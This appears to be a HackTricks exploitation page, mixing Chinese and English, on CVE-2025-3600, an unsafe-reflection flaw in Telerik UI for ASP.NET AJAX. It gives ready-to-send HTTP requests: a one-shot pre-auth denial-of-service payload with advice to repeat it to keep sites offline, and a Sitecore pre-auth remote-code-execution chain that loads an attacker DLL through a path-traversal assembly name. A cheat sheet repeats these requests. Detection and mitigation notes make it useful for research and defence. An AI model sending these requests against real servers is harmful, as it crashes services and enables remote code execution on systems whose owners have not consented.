Telerik UI for ASP.NET AJAX – Unsafe Reflection via WebResource.axd (type=iec)

Reading time: 10 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Pre‑auth 构造函数执行在 Telerik UI for ASP.NET AJAX Image Editor cache handler 中可导致通用 DoS,并在许多应用中通过目标特定 gadgets 导致 pre‑auth RCE(CVE-2025-3600)。

TL;DR

  • Affected component/route: Telerik.Web.UI.WebResource.axd with query type=iec (Image Editor cache handler). 在许多产品中暴露 pre‑auth。
  • Primitive: 攻击者控制一个类型名 (prtype)。该处理程序使用 Type.GetType() 解析并在验证接口类型安全之前调用 Activator.CreateInstance()。任何公共无参的 .NET 类型构造函数都会被执行。
  • Impact:
    • 通用 pre‑auth DoS:利用 .NET 框架 gadget(PowerShell WSMan finalizer)。
    • 在真实部署中,常常通过滥用应用特定 gadgets(尤其是不安全的 AppDomain.AssemblyResolve 处理程序)升级为 pre‑auth RCE。
  • Fix: 升级到 Telerik UI for ASP.NET AJAX 2025.1.416+,或移除/锁定该处理程序。

受影响的版本

  • Telerik UI for ASP.NET AJAX 版本 2011.2.712 到 2025.1.218(含)易受攻击。
  • 已在 2025.1.416(2025-04-30 发布)修复。请立即打补丁或移除/锁定该处理程序。

受影响的暴露面与快速发现

  • 检查暴露情况:
  • GET /Telerik.Web.UI.WebResource.axd 如果处理程序已配置,应返回非 404/403 的响应。
  • 检查 web.config 中是否将处理程序映射到 Telerik.Web.UI.WebResource.axd。
  • 触发易受攻击代码路径需要:type=iec、dkey=1 和 prtype=

Example probe and generic trigger:

http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=Namespace.Type, Assembly

注意

  • Some PoCs use dtype; the implementation checks dkey=="1" for the download flow.
  • prtype must be assembly-qualified or resolvable in the current AppDomain.

根本原因 – ImageEditorCacheHandler 中的不安全反射

Image Editor 缓存下载流程会构造 prtype 中提供的类型的实例,之后才将其转换为 ICacheImageProvider 并验证下载密钥。当验证失败时,构造函数已经运行完毕。

相关的反编译流程
csharp
// entrypoint
public void ProcessRequest(HttpContext context)
{
string text = context.Request["dkey"];           // dkey
string text2 = context.Request.Form["encryptedDownloadKey"]; // download key
...
if (this.IsDownloadedFromImageProvider(text)) // effectively dkey == "1"
{
ICacheImageProvider imageProvider = this.GetImageProvider(context); // instantiation happens here
string key = context.Request["key"];
if (text == "1" && !this.IsValidDownloadKey(text2))
{
this.CompleteAsBadRequest(context.ApplicationInstance);
return; // cast/check happens after ctor has already run
}
using (EditableImage editableImage = imageProvider.Retrieve(key))
{
this.SendImage(editableImage, context, text, fileName);
}
}
}

private ICacheImageProvider GetImageProvider(HttpContext context)
{
if (!string.IsNullOrEmpty(context.Request["prtype"]))
{
return RadImageEditor.InitCacheImageProvider(
RadImageEditor.GetICacheImageProviderType(context.Request["prtype"]) // [A]
);
}
...
}

public static Type GetICacheImageProviderType(string imageProviderTypeName)
{
return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ?
typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B]
}

protected internal static ICacheImageProvider InitCacheImageProvider(Type t)
{
// unsafe: construct before enforcing interface type-safety
return (ICacheImageProvider)Activator.CreateInstance(t); // [C]
}

利用原语:受控的类型字符串 → Type.GetType 解析它 → Activator.CreateInstance 运行其公共无参构造函数。即使请求随后被拒绝,gadget 的副作用也已经发生。

通用 DoS gadget(无需应用特定的 gadget)

类:System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper(位于 System.Management.Automation,PowerShell)具有一个终结器,会释放一个未初始化的句柄,导致在 GC 对其终结时抛出未处理的异常。这会在实例化后不久可靠地使 IIS 工作进程崩溃。

一次性 DoS 请求:

http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35

Notes

  • 定期重复发送以保持站点离线。你可能在调试器中观察到 constructor 被触发;崩溃发生在 finalization 时。

From DoS to RCE – escalation patterns

Unsafe constructor execution unlocks many target‑specific gadgets and chains. Hunt for:

  1. Parameterless constructors that process attacker input
  • Some ctors (or static initializers) immediately read Request query/body/cookies/headers and (de)serialize them.
  • 示例 (Sitecore):一个 ctor chain 会到达 GetLayoutDefinition(),该方法读取 HTTP body 中的 "layout" 并通过 JSON.NET 反序列化 JSON。
  1. Constructors that touch files
  • Ctros that load or deserialize config/blobs from disk can be coerced if you can write to those paths (uploads/temp/data folders).
  1. Constructors performing app-specific ops
  • 重置状态、切换模块或终止进程。
  1. Constructors/static ctors that register AppDomain event handlers
  • 许多应用会添加 AppDomain.CurrentDomain.AssemblyResolve handlers,基于 args.Name 构建 DLL 路径而不做消毒。如果你能影响 type resolution 就可以强制从攻击者控制的路径加载任意 DLL。
  1. Forcing AssemblyResolve via Type.GetType
  • Request a non-existent type to force CLR resolution and invoke registered (possibly insecure) resolvers. Example assembly-qualified name:
This.Class.Does.Not.Exist, watchTowr
  1. 具有破坏性副作用的终结器
  • 一些类型在终结器中删除固定路径的文件。与跟随链接或可预测路径结合,在某些环境下这可能导致本地提权。

示例:预认证 RCE 链 (Sitecore XP)

  • 步骤 1 – 预认证:触发一个其静态/实例构造函数注册了不安全的 AssemblyResolve 处理程序的类型(例如 ControlFactory 中 Sitecore 的 FolderControlSource)。
  • 步骤 2 – 认证后:获取对解析器探测目录的写入权限(例如通过认证绕过或弱文件上传),并放置恶意 DLL。
  • 步骤 3 – 预认证:利用 CVE‑2025‑3600,使用一个不存在的类型和带遍历的程序集名称,强制解析器加载你植入的 DLL → 以 IIS worker 身份执行代码。

触发示例

http
# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl

# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr

验证、狩猎和 DFIR 注记

  • 安全实验室验证:触发 DoS payload,观察应用池回收/未处理异常是否与 WSMan finalizer 相关联。
  • 在遥测中狩猎:
  • 对 /Telerik.Web.UI.WebResource.axd 的请求(type=iec 且 prtype 值异常)。
  • 类型加载失败和 AppDomain.AssemblyResolve 事件。
  • 在此类请求之后突然发生的 w3wp.exe 崩溃/回收。

缓解措施

  • 将 Telerik UI for ASP.NET AJAX 更新到 2025.1.416 或更高版本。
  • 在可能的情况下删除或限制 Telerik.Web.UI.WebResource.axd 的暴露(WAF/重写规则)。
  • 在服务端忽略或加固 prtype 的处理(升级版本在实例化前执行适当校验)。
  • 审计并强化自定义 AppDomain.AssemblyResolve 处理器。避免从 args.Name 构建未经清洗的路径;优先使用强名称加载或白名单。
  • 限制上传/写入位置,防止将 DLL 放入被探测的目录。
  • 监控对不存在类型的加载尝试,以发现解析器滥用。

速查表

  • 存在性检查:
  • GET /Telerik.Web.UI.WebResource.axd
  • 在 web.config 中查找 handler 映射
  • Exploit skeleton:
http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>
  • 通用 DoS:
http
...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
  • 触发解析器:
This.Class.Does.Not.Exist, watchTowr

相关技术

  • IIS post-exploitation, .NET key extraction, and in‑memory loaders:

IIS - Internet Information Services

  • ASP.NET ViewState deserialization and machineKey abuses:

Exploiting __VIEWSTATE without knowing the secrets

参考资料

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks